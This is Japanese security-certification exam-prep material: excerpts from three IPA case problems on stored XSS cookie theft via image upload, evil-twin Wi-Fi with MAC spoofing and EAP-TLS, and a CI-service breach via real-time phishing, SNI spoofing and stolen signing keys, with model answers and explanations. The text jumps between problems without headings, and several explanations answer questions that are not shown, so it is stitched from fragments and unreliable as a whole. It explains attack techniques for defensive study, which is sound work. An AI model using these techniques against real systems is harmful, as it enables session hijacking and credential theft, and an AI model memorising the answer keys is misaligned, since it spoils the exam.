ある日，会員から，無地 T シャツのレビューページ（以下，ページ V という）に 16 件表示されるはずのレビューが 2 件しか表示されていないという問合せが寄せられた。開発部のリーダーである N さんがページ V を閲覧してみると，画面遷移上おかしな点はなく，図2が表示された。
図2 ページ V
Web アプリ Q のレビューページでは，次の項目がレビューの件数分表示されるはずである。
レビューを投稿した会員のアイコン画像
レビューを投稿した会員の表示名
レビューが投稿された日付
レビュー評価（1〜5 個の★）
会員が入力したレビュータイトル
会員が入力したレビュー詳細
不審に思った N さんはページ V の HTML を確認した。図3は，ページ V の HTML である。
図3 ページ V の HTML
図3の HTML を確認した N さんは，会員 A によって 15 件のレビューが投稿されていること，及びページ V には長いスクリプトが埋め込まれていることに気付いた。N さんは，ページ V にアクセスしたときに生じる影響を調査するために，アクセスしたときに Web ブラウザで実行されるスクリプトを抽出した。図4は，N さんが抽出したスクリプトである。
図4 N さんが抽出したスクリプト
N さんは，会員 A の投稿はクロスサイトスクリプティング（XSS）脆弱性を悪用した攻撃を成立させるためのものであるという疑いをもった。N さんが Web アプリ Q を調べたところ，Web アプリ Q には，会員が入力したスクリプトが実行されてしまう脆弱性があることを確認した。加えて，Web アプリ Q が cookie に HttpOnly 属性を付与していないこと及びアップロードされた画像ファイルの形式をチェックしていないことも確認した。
XSS 脆弱性の種類を解答群の中から選び，記号で答えよ。解答群：ア（DOM Based XSS），イ（格納型 XSS），ウ（反射型 XSS）
解答例
イ
解説
本文の根拠
図1 5. 商品レビュー機能
商品レビューの投稿は，ログイン済み会員だけが利用できる。
図3の後の本文
図3の HTML を確認した N さんは，会員 A によって 15 件のレビューが投稿されていること，及びページ V には長いスクリプトが埋め込まれていることに気付いた。
図4の後の本文
Web アプリ Q には，会員が入力したスクリプトが実行されてしまう脆弱性があることを確認した。
XSS は，スクリプトが Web ブラウザに届く経路で三つに分けられる。格納型（持続型）は，攻撃者が投稿した文字列がサーバに保存され，そのページを閲覧した利用者全員に出力されて実行される。反射型は，リクエストのパラメータに仕込んだスクリプトがそのままレスポンスに折り返されるもので，被害者に細工した URL を踏ませる必要がある。DOM Based XSS は，サーバを介さずにブラウザ側のスクリプトが URL のフラグメントなどを DOM に書き込むことで起きる。
本問では，会員 A が商品レビューとして投稿した文字列が Web アプリ Q に保存され，ページ V の HTML（図3）に埋め込まれて，ページ V にアクセスした全員の Web ブラウザで実行される。保存された投稿が後から閲覧者に配信されるので，イの格納型 XSS である。
間違えやすい点。図4のスクリプトは responseType に“document”を指定して DOM を扱っているが，これは攻撃の“中身”であり，脆弱性の種類を決めるのはスクリプトが埋め込まれた経路である。採点講評も“DOM Based XSS”との誤答が散見されたと述べている。
採点講評（IPA）
設問1(1)は，正答率は平均的であったが，スクリプトでDOMを使用していたことからか，“DOM Based XSS”と誤って解答する受験者が散見された。脆弱性の種類や埋め込まれた状況に応じた適切な対策を施すためにも，脆弱性は特徴や対策方法まで含めて，正確に理解してほしい。
図3を見ると，会員 B のレビュー詳細の“>_<”は HTML 上で“>_<”と文字参照に置き換えられて出力されており，画面（図2）では記号のまま表示されている。レビュー詳細にはエスケープ処理が施されている。一方，レビュータイトルは“<script>”がそのままタグとして出力されている。脆弱なのはレビュータイトルの出力処理である。
XSS の根本的な対策は，利用者が入力した値を HTML に出力する際に，<，>，&，"，' などの特殊な意味をもつ文字を文字参照に置き換える（エスケープする）ことである（IPA“安全なウェブサイトの作り方”の XSS 対策の根本的解決）。入力時の文字数制限では防げないことは，設問2の攻撃が示している。
図1のとおり，アップロードは profile で払い出されたトークンと一致したときだけ成功するので，スクリプトは先に正規のトークンを取ってから送っている。document.cookie にはログイン時に払い出されたセッション ID が入っており，HttpOnly 属性が付いていないのでスクリプトから読める。アップロード先はアイコン画像の設定なので，閲覧した会員のアイコン画像がセッション ID の中身に置き換わる。
図4のスクリプトでアップロードされたのは，セッション ID を中身とする“画像ファイル”であり，被害者のアイコン画像として保存される。アイコン画像はレビューページに表示され，図3のように“/users/…/icon.png”の URL が HTML に現れるので，攻撃者は被害者がレビューを投稿したページなどからその URL を知り，画像をダウンロードできる。
画像ファイルの形式がチェックされていないので，テキストのままの cookie が画像として受け付けられている。攻撃者はダウンロードしたファイルをテキストとして開けば，セッション ID の文字列を取り出せる。攻撃者自身のサーバへ送信させる必要がなく，Web アプリ Q の正規の機能だけで情報を持ち出している点がこの攻撃の工夫である。
字数の詰め方。“アイコン画像をダウンロードする”と“セッション ID の文字列を取り出す”の二つを残す。解答例は“会員のアイコン画像をダウンロードして，そこからセッション ID の文字列を取り出す。”（40字）。
設問3(3)40字以内
攻撃者が(2)で取得した情報を使うことによってできることを，40 字以内で答えよ。
解答例
ページVにアクセスした会員になりすまして，WebアプリQの機能を使う。
解説
本文の根拠
図1 2. ログイン機能
ログインした会員には，セッション ID を cookie として払い出す。
図4の後の本文
加えて，Web アプリ Q が cookie に HttpOnly 属性を付与していないこと
図1 6. 会員プロフィール機能
クレジットカード情報を登録するページを提供する。どちらのページもログイン済み会員だけが利用できる。
Web アプリ Q は，ログインした会員をセッション ID の cookie で識別している。攻撃者が被害者のセッション ID を手に入れて自分の Web ブラウザの cookie に設定すれば，そのセッションが有効な間は，ID とパスワードを知らなくても被害者としてログインした状態になる（セッションハイジャック）。
M 社のオフィスビルには，執務室と会議室がある。執務室では従業員用無線 LAN が利用可能であり，会議室では，従業員用無線 LAN と来客用無線 LAN の両方が利用可能である。会議室にはプロジェクターが設置されており，来客が持ち込む PC，タブレット及びスマートフォン（以下，これらを併せて来客持込端末という）又は業務 PC を来客用無線 LAN に接続することで利用可能である。
M 社のネットワーク構成を図1に，その構成要素の概要を表1に，M 社のセキュリティルールを表2に示す。
これまで行った対策の見直しに引き続き，B サービスからのファイルの持出しのセキュリティ対策について，十分か否かの確認を行うことになった。そこで，情報システム部の Y さんが，L 社の情報処理安全確保支援士（登録セキスペ）である S 氏の支援を受けながら，確認することになった。2 人は，社外の攻撃者による持出しと従業員による持出しのそれぞれについて，セキュリティ対策を確認することにした。
〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕
次は，社外の攻撃者による B サービスからのファイルの持出しについての，Y さんと S 氏の会話である。
Y さん：来客用無線 LAN を利用したことのある来客者が，攻撃者として M 社の近くから来客用無線 LAN に接続し，B サービスにアクセスするということが考えられないでしょうか。
S 氏 ：それは考えられます。しかし，B サービスにログインするには a と b が必要です。
Y さん：来客用無線 LAN の AP と同じ設定の偽の AP（以下，偽 AP という），及び B サービスと同じ URL の偽のサイト（以下，偽サイトという）を用意し，DNS の設定を細工して，a と b を盗む方法はどうでしょうか。攻撃者が偽 AP を M 社の近くに用意した場合に，M 社の従業員が業務 PC を偽 AP に誤って接続して B サービスにアクセスしようとすると，偽サイトにアクセスすることになり，ログインしてしまうことがあるかもしれません。
S 氏 ：従業員が HTTPS で偽サイトにアクセスしようとすると，安全な接続ではないという旨のエラーメッセージとともに，偽サイトに使用されたサーバ証明書に応じて，図2に示すエラーメッセージの詳細の一つ以上が Web ブラウザに表示されます。従業員は正規のサイトでないことに気付けるので，ログインしてしまうことはないと考えられます。
図2 エラーメッセージの詳細（抜粋）
Y さん：なるほど，理解しました。しかし，偽 AP に接続した状態で，従業員が Web ブラウザに B サービスの URL を入力する際に，誤って“http://”と入力して B サービスにアクセスしようとした場合，エラーメッセージが表示されないのではないでしょうか。
S 氏 ：大丈夫です。HSTS を有効にしてあるので，その場合でも，①先ほどと同じエラーメッセージが表示されます。
〔従業員によるファイルの持出しについてのセキュリティ対策の確認〕
次は，従業員による B サービスからのファイルの持出しについての，S 氏と Y さんとの会話である。
S 氏 ：ファイル共有機能では，上長はちゃんと宛先のメールアドレスとファイルを確認してから承認を行っていますか。
Y さん：確認できていない上長もいるようです。
S 氏 ：そうすると，従業員は，②ファイル共有機能を悪用すれば，M 社外から B サービスにあるファイルをダウンロード可能ですね。
Y さん：確かにそうです。
S 氏 ：ところで，会議室には個人所有 PC は持ち込めるのでしょうか。
Y さん：会議室への持込みは禁止していないので，持ち込めます。
S 氏 ：そうだとすると，次の方法 1 と方法 2 のいずれかの方法を使って，B サービスからファイルの持出しが可能ですね。
方法 1：個人所有 PC の無線 LAN インタフェースの e を業務 PC の無線 LAN インタフェースの e に変更した上で，個人所有 PC を従業員用無線 LAN に接続し，B サービスからファイルをダウンロードし，個人所有 PC ごと持ち出す。
方法 2：個人所有 PC を来客用無線 LAN に接続し，B サービスからファイルをダウンロードし，個人所有 PC ごと持ち出す。
〔方法 1 と方法 2 についての対策の検討〕
方法 1 への対策については，従業員用無線 LAN の認証方式として EAP-TLS を選択し，③認証サーバを用意することにした。
次は，必要となるクライアント証明書についての S 氏と Y さんの会話である。
S 氏 ：クライアント証明書とそれに対応する f は，どのようにしますか。
Y さん：クライアント証明書は，CA サーバを新設して発行することにし，従業員が自身の業務 PC にインストールするのではなく，ディレクトリサーバの機能で業務 PC に格納します。f は g しておくために業務 PC の TPM に格納し，保護します。
S 氏 ：④その格納方法であれば問題ないと思います。
方法 2 への対策については，次の二つの案を検討した。
⑤FW の NAT の設定を変更する。
無線 LAN サービスである D サービスを利用する。
検討の結果，D サービスを次のとおり利用することにした。
会議室に，D サービスから貸与された無線 LAN ルータ（以下，D ルータという）を設置する。
D ルータでは，DHCP サーバ機能及び DNS キャッシュサーバ機能を有効にする。
来客持込端末は，M 社のネットワークを経由せずに，D ルータに搭載されている SIM を用いて D サービスを利用し，インターネットに接続する。
今まで必要だった，来客持込端末から DHCP サーバと h サーバへの通信は，不要になる。さらに，表5について不要になった設定を削除するとともに，⑥表3及び表4についても，不要になった設定を全て削除する。また，プロジェクターについては，来客用無線 LAN を利用せず，HDMI ケーブルで接続する方法に変更する。
M 社の従業員に割り当てられた利用者 ID では，a1.b1.c1.d1 注1) からだけ，B サービスにログイン可能である。
表4 注1)
現在の設定では有効の場合，送信元 IP アドレスが a1.b1.c1.d1 に変換される。
B サービスへのログインには，表1のとおり従業員ごとの利用者 ID とパスワードが要る。a は“利用者 ID”，b は“パスワード”である（順不同）。
Y さんが“来客用無線 LAN から B サービスにアクセスする”ことを心配したのは，B サービスの接続元制限（a1.b1.c1.d1 からだけログイン可能）が来客用無線 LAN では防御にならないからである。表4の項番1で来客用無線 LAN（192.168.10.0/24）からインターネットへの通信は NAT 有効で許可され，送信元は a1.b1.c1.d1 に変換される。B サービスから見ると，来客用無線 LAN からのアクセスも M 社の正規の接続元からのアクセスと区別できない。残る防御は利用者 ID とパスワードだけであり，S 氏はそれを指摘している。後の Y さんの発言で，偽 AP と偽サイトによってこの二つを盗む方法が検討されるのもそのためである。
間違えやすい点。“クライアント証明書”などは本文の B サービスの仕様に無い。表1の B サービスの欄に書かれた認証要素だけを答える。
設問1(2)解答欄2つ
図2中の c，d に入れる適切な字句を，それぞれ 40 字以内で答えよ。
〔c〕解答例
このサーバ証明書は，信頼された認証局から発行されたサーバ証明書ではない
〔d〕解答例
このサーバ証明書に記載されているサーバ名は，接続先のサーバ名と異なる
〔備考〕順不同
解説
本文の根拠
〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕
偽サイトに使用されたサーバ証明書に応じて，図2に示すエラーメッセージの詳細の一つ以上が Web ブラウザに表示されます。
図2
・このサーバ証明書は，失効している。・このサーバ証明書は，有効期限が切れている。
〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕
B サービスと同じ URL の偽のサイト（以下，偽サイトという）を用意し
Web ブラウザは HTTPS の接続時にサーバ証明書を検証し，主に次の四つを確かめる。①信頼できるルート認証局まで署名の連鎖をたどれるか（信頼された認証局から発行されたか），②証明書に記載されたサーバ名（サブジェクト代替名）が接続先のホスト名と一致するか，③有効期限内か，④失効していないか。図2には③と④が既に挙がっているので，c と d は①と②である（順不同）。
攻撃者は B サービスのドメインを所有していないので，正規の認証局から B サービスのドメイン名のサーバ証明書を取得できない。偽サイトに使えるのは，自分で作った自己署名証明書や攻撃者が用意した私設の認証局の証明書（①に当たる）か，攻撃者が所有する別のドメイン名で正規に取得した証明書（②に当たる）のどちらかになる。どちらでも Web ブラウザは警告を出す。
字数の詰め方。図2の他の行に合わせ，“このサーバ証明書は，…”の文の形で書く。解答例は c が“このサーバ証明書は，信頼された認証局から発行されたサーバ証明書ではない”（35字），d が“このサーバ証明書に記載されているサーバ名は，接続先のサーバ名と異なる”（34字）。
誤って“http://”と入力して B サービスにアクセスしようとした場合，エラーメッセージが表示されないのではないでしょうか。
〔社外の攻撃者によるファイルの持出しについてのセキュリティ対策の確認〕
HSTS を有効にしてあるので，その場合でも，①先ほどと同じエラーメッセージが表示されます。
HSTS（RFC 6797）は，サーバが HTTPS のレスポンスに Strict-Transport-Security ヘッダーを付けて，“このドメインには一定期間 HTTPS でしか接続しないこと”を Web ブラウザに記憶させる仕組みである。記憶した Web ブラウザは，利用者が“http://”の URL を入力しても，ネットワークへ HTTP のリクエストを送る前に自ら HTTPS の URL に置き換えて接続する。
従業員は日常業務で B サービスに HTTPS でアクセスしているので，業務 PC の Web ブラウザは B サービスの HSTS の指定を記憶している。偽 AP に接続して“http://”と入力しても，Web ブラウザは HTTPS で接続しに行き，TLS のハンドシェイクで偽サイトからサーバ証明書を受け取って検証する。検証に失敗するので，設問1(2)と同じエラーメッセージが出る。さらに HSTS の指定があるドメインでは，利用者が警告を無視して進むことも許されない。
字数の詰め方。“HTTP を HTTPS に置き換えてアクセスする”と“偽サイトからサーバ証明書を受け取る”の二段階を書く。解答例は 55 字。“HTTPS にリダイレクトされる”と書くと，偽サイト側がリダイレクトするように読めて誤りになる（置き換えるのは Web ブラウザ自身）。
従業員用無線 LAN だけに MAC アドレスフィルタリングが設定されており，事前に情報システム部で登録された業務 PC だけが接続できる。
方法 1
個人所有 PC の無線 LAN インタフェースの e を業務 PC の無線 LAN インタフェースの e に変更した上で，個人所有 PC を従業員用無線 LAN に接続し
従業員用無線 LAN は MAC アドレスフィルタリングで，登録された業務 PC の MAC アドレスだけを接続させている。MAC アドレスは無線 LAN のフレームに平文で載り，OS の設定などで容易に変更できるので，個人所有 PC の無線 LAN インタフェースの MAC アドレスを自分の業務 PC の MAC アドレスに変更すれば，フィルタリングを通過できる。e は“MAC アドレス”である。
従業員用無線 LAN は表4の項番2でインターネットへの HTTPS が許可され，送信元が a1.b1.c1.d1 に変換されるので，個人所有 PC から B サービスにログインしてファイルをダウンロードできる。業務 PC と違って情報漏えい対策ソフトの制限（ローカルディスクへの保存禁止など）も受けない。
間違えやすい点。“IP アドレス”は DHCP サーバから割り当てられるもので，接続の可否を決めていない。本文が“無線 LAN インタフェースの”と書いているのも，MAC アドレスを指す手掛かりである。
設問3(1)
本文中の下線③について，認証サーバが EAP で使う UDP 上のプロトコルを答えよ。
解答例
RADIUS
解説
本文の根拠
〔方法 1 と方法 2 についての対策の検討〕
方法 1 への対策については，従業員用無線 LAN の認証方式として EAP-TLS を選択し，③認証サーバを用意することにした。
TPM は PC に搭載された耐タンパ性のあるセキュリティチップで，鍵を内部で生成・保管し，署名などの演算をチップの中で行う。TPM に格納した秘密鍵は，エクスポートできない設定にすれば，OS の管理者でもチップの外に取り出せない。
方法 1 は，個人所有 PC を業務 PC になりすませて従業員用無線 LAN に接続するものだった。秘密鍵がファイルとして業務 PC に置かれていれば，従業員がそれをコピーして個人所有 PC に入れ，EAP-TLS でも認証を通せてしまう。TPM に入れて業務 PC から取り出せないようにしておけば，その業務 PC でしか認証できない。g は“業務 PC から取り出せないように”である。
クライアント証明書は，CA サーバを新設して発行することにし，従業員が自身の業務 PC にインストールするのではなく，ディレクトリサーバの機能で業務 PC に格納します。
表1 ディレクトリサーバ
ディレクトリ機能に加え，ソフトウェア，クライアント証明書などを業務 PC にインストールする機能がある。
Y さんの格納方法は二つの点で方法 1 を防ぐ。第一に，クライアント証明書は従業員が自分でインストールするのではなく，ディレクトリサーバの機能で業務 PC に直接格納されるので，従業員は証明書と秘密鍵のファイルを手にする機会が無い。第二に，秘密鍵は TPM に格納されて業務 PC から取り出せない。
その結果，EAP-TLS の認証に必要なクライアント証明書と秘密鍵の組は業務 PC の中にしか存在せず，個人所有 PC に移すことができない。MAC アドレスを偽装しても，個人所有 PC は EAP-TLS の認証を通らず，従業員用無線 LAN に接続できない。S 氏が“問題ない”と述べたのはこのためである。
字数の詰め方。“EAP-TLS に必要な認証情報が”“業務 PC にしか格納できない”の二点を理由の形（…から）で書く。解答例は 32 字。
これまで来客持込端末は，M 社の DHCP サーバから IP アドレスを割り当てられ（DHCP は FW の DHCP リレー機能で中継），M 社の DNS サーバ（DNS キャッシュサーバ）で名前解決していた。表4の項番4は，来客用無線 LAN からサーバネットワークへの DNS の通信を許可するルールである。
D ルータが DHCP サーバ機能と DNS キャッシュサーバ機能を提供し，来客持込端末は M 社のネットワークを通らずに D サービスでインターネットに出るので，DHCP サーバと DNS サーバへの通信は不要になる。h は“DNS”である。
D サービスの導入で，来客持込端末は来客用無線 LAN（192.168.10.0/24，VLAN10）を使わなくなり，プロジェクターも HDMI ケーブルでの接続に変わる。業務 PC も来客用無線 LAN を使う必要はない。表5の来客用無線 LAN の設定（設定1）を削除するのに合わせ，FW から VLAN10 に関する設定をすべて消す。
CI デーモンは，処理命令を受け取ると，特権を付与せずに新しいコンテナを起動し，当該コンテナ内でソースコード取得機能とコマンド実行機能を順に実行する。
ビルドスクリプトには，利用者が任意のコマンドを記述できるので，不正なコマンドを記述されてしまうおそれがある。さらに，不正なコマンドの処理の中には，①コンテナによる仮想化の脆弱性を悪用しなくても成功してしまうものがある。そこで，バックエンドには管理者権限で稼働する監視ソフトウェア製品 X を導入している。製品 X は，バックエンド上のプロセスを監視し，プロセスが不正な処理を実行していると判断した場合は，当該プロセスを停止させる。
C 社は，C 社のクラウド基盤を管理するための Web サイト（以下，クラウド管理サイトという）も提供している。N 社では，クラウド管理サイト上で，クラウド管理サイトのアカウントの管理，N サービスの構成要素の設定変更，バックエンドへの管理者権限でのアクセス，並びにクラウド管理サイトの認証ログの監視をしている。N 社では，C 社が提供するスマートフォン用アプリケーションソフトウェア（以下，スマートフォン用アプリケーションソフトウェアをアプリという）に表示される，時刻を用いたワンタイムパスワード（TOTP）を，クラウド管理サイトへのログイン時に入力するように設定している。
N 社では，オペレーション部がクラウド管理サイト上で N サービスの構成要素の設定及び管理を担当し，セキュリティ部がクラウド管理サイトの認証ログの監視を担当している。
〔N 社のインシデントの発生と対応〕
1 月 4 日 11 時，クラウド管理サイトの認証ログを監視していたセキュリティ部の H さんは，同日 10 時にオペレーション部の U さんのアカウントで国外の IP アドレスからクラウド管理サイトにログインがあったことに気付いた。
H さんが U さんにヒアリングしたところ，U さんは社内で同日 10 時にログインを試み，一度失敗したとのことであった。U さんは，同日 10 時前に電子メール（以下，メールという）を受け取っていた。メールにはクラウド管理サイトからの通知だと書かれていた。U さんはメール中の URL を開き，クラウド管理サイトだと思ってログインを試みていた。H さんがそのメールを確認したところ，URL 中のドメイン名はクラウド管理サイトのドメイン名とは異なっており，U さんがログインを試みたのは偽サイトだった。H さんは，同日 10 時の国外 IP アドレスからのログインは②攻撃者による不正ログインだったと判断した。
H さんは，初動対応としてクラウド管理サイトの U さんのアカウントを一時停止した後，調査を開始した。U さんのアカウントの権限を確認したところ，フロントエンド及びバックエンドの管理者権限があったが，それ以外の権限はなかった。
まずフロントエンドを確認すると，Web サイトのドキュメントルートに“/.well-known/pki-validation/”ディレクトリが作成され，英数字が羅列された内容のファイルが作成されていた。そこで，③RFC 9162 に規定された証明書発行ログ中の N サービスのドメインのサーバ証明書を検索したところ，正規のもののほかに，N 社では利用実績のない認証局 R が発行したものを発見した。
バックエンドのうち 1 台では，管理者権限をもつ不審なプロセス（以下，プロセス Y という）が稼働していた（以下，プロセス Y が稼働していたバックエンドを被害バックエンドという）。被害バックエンドのその時点のネットワーク通信状況を確認すると，プロセス Y は特定の CDN 事業者の IP アドレスに，HTTPS で多量のデータを送信していた。TLS の Server Name Indication（SNI）には，著名な OSS 配布サイトのドメイン名が指定されており，製品 X では，安全な通信だと判断されていた。
詳しく調査するために，TLS 通信ライブラリの機能を用いて，それ以降に発生するプロセス Y の TLS 通信を復号したところ，HTTP Host ヘッダーでは別のドメイン名が指定されていた。このドメイン名は，製品 X の脅威データベースに登録された要注意ドメインであった。プロセス Y は，④監視ソフトウェアに検知されないように SNI を偽装していたと考えられた。TLS 通信の内容には被害バックエンド上のソースコードが含まれていた。H さんはクラウド管理サイトを操作して被害バックエンドを一時停止した。H さんは，⑤プロセス Y がシークレットを取得したおそれがあると考えた。
N サービスの顧客企業の一つに，従業員 1,000 名の資金決済事業者である P 社がある。P 社は，決済用のアプリ（以下，P アプリという）を提供しており，スマートフォン OS 開発元の J 社が運営するアプリ配信サイトである J ストアを通じて，P アプリの利用者（以下，P アプリ利用者という）に配布している。P 社は N サービスを，最新版ソースコードのコンパイル及び J ストアへのコンパイル済みアプリのアップロードのために利用している。P 社には開発部及び運用部がある。
J ストアへのアプリのアップロードは，J 社の契約者を特定するための認証用 API キーを HTTP ヘッダーに付加し，J ストアの REST API を呼び出して行う。認証用 API キーは J 社が発行し，契約者だけが J 社の Web サイトから取得及び削除できる。また，J ストアは，アップロードされる全てのアプリについて，J 社が運営する認証局からのコードサイニング証明書の取得と，対応する署名鍵によるコード署名の付与を求めている。J ストアのアプリを実行するスマートフォン OS は，各アプリを起動する前にコード署名の有効性を検証しており，検証に失敗したらアプリを起動しないようにしている。
P 社は，N サービスのソースコード取得機能に，P アプリのソースコードを保存している VCS のホスト名とリポジトリの認証用 SSH 鍵を登録している。N サービスのシークレット機能には，表3に示す情報を登録している。
表3 P 社が N サービスのシークレット機能に登録している情報
P アプリのビルドスクリプトには，図3に示すコマンドが記述されている。
図3 ビルドスクリプトに記述されているコマンド
1 月 4 日，P 社運用部の K さんが N 社からの通知を受信した。それによると，ソースコード及びシークレットが漏えいしたおそれがあるとのことだった。K さんは，⑦P アプリ利用者に被害が及ぶ攻撃が行われることを予想し，すぐに二つの対応を開始した。
K さんは，一つ目の対応として，⑧漏えいしたおそれがあるので，STORE_API_KEY として登録されていた認証用 API キーに必要な対応を行った。また，二つ目の対応として，APP_SIGN_KEY として登録されていたコードサイニング証明書について認証局に失効を申請するとともに，新たな鍵ペアを生成し，コードサイニング証明書の発行申請及び受領を行った。鍵ペア生成時，N サービスが一時停止しており，鍵ペアの保存に代替手段が必要になった。FIPS 140-2 Security Level 3 の認証を受けたハードウェアセキュリティモジュール（HSM）は，⑨コード署名を付与する際にセキュリティ上の利点があるので，それを利用することにした。さらに，二つの対応とは別に，リポジトリの認証用 SSH 鍵を無効化した。
その後，開発部と協力しながら，P 社内の PC でソースコードをコンパイルし，生成されたバイナリコードに新たなコード署名を付与した。J ストアへの P アプリのアップロード履歴を確認したが，異常はなかった。新規の認証用 API キーを取得し，署名済みのバイナリコードを J ストアにアップロードするとともに，⑩K さんの二つの対応によって P アプリ利用者に生じているかもしれない影響，及びそれを解消するために P アプリ利用者がとるべき対応について告知した。さらに，外部委託先である N 社に起因するインシデントとして関係当局に報告した。
本文中の下線①について，該当するものはどれか。解答群の中から全て選び，記号で答えよ。解答群：ア（CI デーモンのプロセスを中断させる。），イ（いずれかのバックエンド上の全プロセスを列挙して攻撃者に送信する。），ウ（インターネット上の Web サーバに不正アクセスを試みる。），エ（攻撃者サイトから命令を取得し，得られた命令を実行する。），オ（ほかの N サービス利用者のビルドスクリプトの出力を取得する。）
解答例
ウ，エ
解説
本文の根拠
本文（表2・図1の後）
CI デーモンは，処理命令を受け取ると，特権を付与せずに新しいコンテナを起動し，当該コンテナ内でソースコード取得機能とコマンド実行機能を順に実行する。
コンテナは，ホスト（バックエンド）の OS のカーネルを共有しながら，プロセス・ファイルシステム・ネットワークなどの見える範囲を名前空間で分ける仕組みである。特権を付与されていないコンテナの中のプロセスからは，同じホスト上のほかのコンテナやホスト側のプロセスは見えず，操作もできない。それらに手を出すには，コンテナの分離を破る脆弱性（コンテナエスケープ）が必要になる。
一方，コンテナの中からでもできることがある。バックエンドはインターネットへの通信が可能なので，ビルドスクリプトに書いたコマンドで，インターネット上の Web サーバに不正アクセスを試みること（ウ）や，攻撃者のサイトから命令を取得して実行すること（エ）は，コンテナ内の通常の権限で成功する。よって答えはウとエである。
ほかの選択肢。ア（CI デーモンのプロセスを中断させる）とイ（バックエンド上の全プロセスを列挙する）は，コンテナの外にあるホストのプロセスへの操作であり，オ（ほかの N サービス利用者のビルドスクリプトの出力を取得する）は，別のコンテナの中身への操作である。いずれも分離を破らないとできない。
U さんが偽サイトにログインを試みたのも，国外 IP アドレスからのログインがあったのも，同じ 10 時である。偽サイトは，U さんが入力した ID・パスワード・TOTP をその場で攻撃者に渡し，攻撃者は TOTP が有効なうちに本物のクラウド管理サイトにログインした（リアルタイムフィッシング，中間者型のフィッシング）。偽サイトでは U さんに“失敗”を見せたので，U さんは一度失敗しただけだと思っている。
攻撃者は，不正に得たフロントエンドの管理者権限で“/.well-known/pki-validation/”にファイルを置いた。これは，認証局がドメインの管理権限を確かめるとき，指定した内容のファイルを Web サイトの決まった場所に置かせる確認方法に使われるディレクトリである。こうして攻撃者は認証局 R から N サービスのドメインのサーバ証明書を取得し，H さんは CT ログでそれを見つけた。
プロセス Y は，SNI に著名な OSS 配布サイトのドメイン名を書いて製品 X に安全な通信と判断させ，Host ヘッダーで要注意ドメインを指定してデータを送っていた。TLS を復号するまで製品 X は気付けなかった。
ほかの選択肢。ア（DNS スプーフィング）は DNS の応答を偽造して名前解決をすり替える攻撃，ウ（ドメイン名ハイジャック）はドメイン名の登録や権威 DNS サーバの設定を乗っ取る攻撃，エ（ランダムサブドメイン攻撃）はランダムなサブドメインの問合せを大量に送って権威 DNS サーバに負荷をかける DoS 攻撃である。
設問2(4)35字以内
本文中の下線⑤について，プロセス Y がシークレットを取得するのに使った方法として考えられるものを，35 字以内で答えよ。
解答例
/procファイルシステムから環境変数を読み取った。
解説
本文の根拠
表1 シークレット機能
ビルドスクリプトを実行するシェルに設定される環境変数を，N サービス利用者が登録する機能である。
〔N 社のインシデントの発生と対応〕
バックエンドのうち 1 台では，管理者権限をもつ不審なプロセス（以下，プロセス Y という）が稼働していた
表2 バックエンド
Linux をインストールしており，ソースコード取得機能及びコマンド実行機能を提供する常駐プログラム（以下，CI デーモンという）が稼働する。
図2中の a に入れる適切な字句を，解答群の中から選び，記号で答えよ。解答群：ア（CAA），イ（CNAME），ウ（DNSKEY），エ（NS），オ（SOA），カ（TXT）
〔a〕解答例
ア
解説
本文の根拠
図2 4.
N サービスのドメインのサーバ証明書を発行できる認証局を限定するために，N サービスのドメインの権威 DNS サーバに，N サービスのドメイン名に対応する a レコードを設定する。
CAA（Certification Authority Authorization）レコード（RFC 8659）は，ドメインの所有者が，そのドメインのサーバ証明書を発行してよい認証局を DNS で宣言するためのレコードである。認証局は証明書を発行する前に CAA レコードを確認し，自分が許可されていなければ発行しないことが求められている。答えはアである。
今回，攻撃者は N 社が利用していない認証局 R から証明書を取得した。CAA レコードで N 社が使う認証局だけを許可しておけば，認証局 R は発行を断るので，同じ手口を防げる。
ほかの選択肢。イの CNAME は別名，ウの DNSKEY は DNSSEC の公開鍵，エの NS は権威 DNS サーバ，オの SOA はゾーンの管理情報，カの TXT は任意の文字列を載せるレコードである。TXT は SPF やドメイン認証にも使われるが，認証局を限定する標準の仕組みではない。
設問3(1)40字以内
本文中の下線⑦について，K さんが開始した対応を踏まえ，予想される攻撃を，40 字以内で答えよ。
解答例
有効なコード署名が付与された偽のPアプリをJストアにアップロードする攻撃
解説
本文の根拠
表3
APP_SIGN_KEY：コード署名の付与に利用する署名鍵とコードサイニング証明書。STORE_API_KEY：J ストアにアプリをアップロードするための認証用 API キー。
〔N 社の顧客での対応〕
J ストアのアプリを実行するスマートフォン OS は，各アプリを起動する前にコード署名の有効性を検証しており，検証に失敗したらアプリを起動しないようにしている。
〔N 社の顧客での対応〕
K さんは，一つ目の対応として，⑧漏えいしたおそれがあるので，STORE_API_KEY として登録されていた認証用 API キーに必要な対応を行った。
漏えいしたおそれがあるのは，P アプリのソースコード，コード署名用の署名鍵とコードサイニング証明書（APP_SIGN_KEY），J ストアへのアップロード用の認証用 API キー（STORE_API_KEY）である。これらがそろうと攻撃者は，ソースコードを改変した偽の P アプリを作り，正規の署名鍵で有効なコード署名を付け，P 社として J ストアにアップロードできる。P アプリ利用者がそれを更新として取り込めば，決済アプリが乗っ取られる。
K さんの二つの対応は，この攻撃の二つの部品をそれぞれ無効にするものである。一つ目は認証用 API キーへの対応（J ストアへのアップロードを防ぐ），二つ目はコードサイニング証明書の失効（偽アプリの署名を無効にする）である。対応から逆算すると，予想した攻撃は“有効な署名付きの偽アプリを J ストアに上げる”ことになる。
字数の詰め方。“有効なコード署名が付与された偽の P アプリを”“J ストアにアップロードする攻撃”の形で書く。解答例は 36 字。
設問3(2)20字以内
本文中の下線⑧について，必要な対応を，20 字以内で答えよ。
解答例
J社のWebサイトから削除する。
解説
本文の根拠
〔N 社の顧客での対応〕
認証用 API キーは J 社が発行し，契約者だけが J 社の Web サイトから取得及び削除できる。
〔N 社の顧客での対応〕
新規の認証用 API キーを取得し，署名済みのバイナリコードを J ストアにアップロードするとともに
漏えいしたおそれのある認証用 API キーは，使えないようにしなければならない。本文によれば，認証用 API キーは契約者だけが J 社の Web サイトから取得及び削除できる。K さんは漏えいしたキーを J 社の Web サイトから削除して無効にし，後で新規のキーを取得している。
キーを削除すれば，攻撃者がそのキーを HTTP ヘッダーに付けて J ストアの REST API を呼び出しても，契約者として認証されず，アップロードできない。
字数の詰め方。“どこで”“何をする”を本文の言葉で書く。解答例は“J 社の Web サイトから削除する。”（16字）。“無効化する”“変更する”でも趣旨は近いが，本文が示す手段は“削除”である。
